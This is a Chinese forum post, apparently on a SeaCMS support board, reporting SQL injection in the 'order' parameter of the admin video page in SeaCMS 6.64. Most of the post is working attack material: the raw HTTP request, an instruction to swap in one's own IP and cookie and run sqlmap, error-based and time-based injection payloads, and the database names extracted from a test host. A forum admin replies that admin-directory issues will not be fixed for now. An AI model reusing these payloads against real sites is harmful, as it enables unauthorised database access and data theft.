『大发网盟』

收益高、结算快、超稳定,直营无中间商差价

『156资源网』

全网最早的资源,实力雄厚,速度超快,超稳定

『78免费网盘』

永久免费的多媒体转码与云分发平台,无限存储

『最快资源网』

全网唯一一家全亚洲服务器加速播放,速度超快

『佐佐模板』

针对海洋CMS模板开发与插件定制

存在sql注入

游客 11月前 803








order参数存在sql注入

GET /seacms6.64/upload/admin/admin_video.php?repeat=ok&order=v_name&allrepeat=ok' HTTP/1.1
Host: 172.16.173.249
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://172.16.173.203/seacms6.64 ... e.php?action=repeat
Cookie: PHPSESSID=odsoljsk6cvfkvcgm0i03v8np6
Connection: close
Upgrade-Insecure-Requests: 1


将ip,cookie更改,使用sqlmap测试即可



sqlmap扫描结果:

  • Parameter: order (GET)
  • Type: error-based
  • Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  • Payload: repeat=ok&order=v_name AND EXTRACTVALUE(9668,CONCAT(0x5c,0x7171767071,(SELECT (ELT(9668=9668,1))),0x716a717a71))&allrepeat=ok'

  • Type: AND/OR time-based blind
  • Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  • Payload: repeat=ok&order=v_name AND (SELECT * FROM (SELECT(SLEEP(5)))XHME)&allrepeat=ok'
  • ---
  • [22:40:36] [INFO] the back-end DBMS is MySQL
  • web server operating system: Linux Ubuntu
  • web application technology: Apache 2.4.29
  • back-end DBMS: MySQL >= 5.1


复制代码





注入出数据库:


  • information_schema
  • [22:43:58] [INFO] retrieved: OTCMS
  • [22:44:15] [INFO] retrieved: mysql
  • [22:44:32] [INFO] retrieved: performance_schema
  • [22:45:29] [INFO] retrieved: seacms
  • [22:45:45] [INFO] retrieved: sys
  • available databases [6]:
  • information_schema
  • mysql
  • OTCMS
  • performance_schema
  • seacms
  • sys

  • [22:45:56] [INFO] fetched data logged to text files under '/Users/xiaohuihui/.sqlmap/output/172.16.173.249'

复制代码








最新回复 (1)
  • admin 11月前
    0 引用 2
    所有admin安全目录问题暂不处理。
返回
发新帖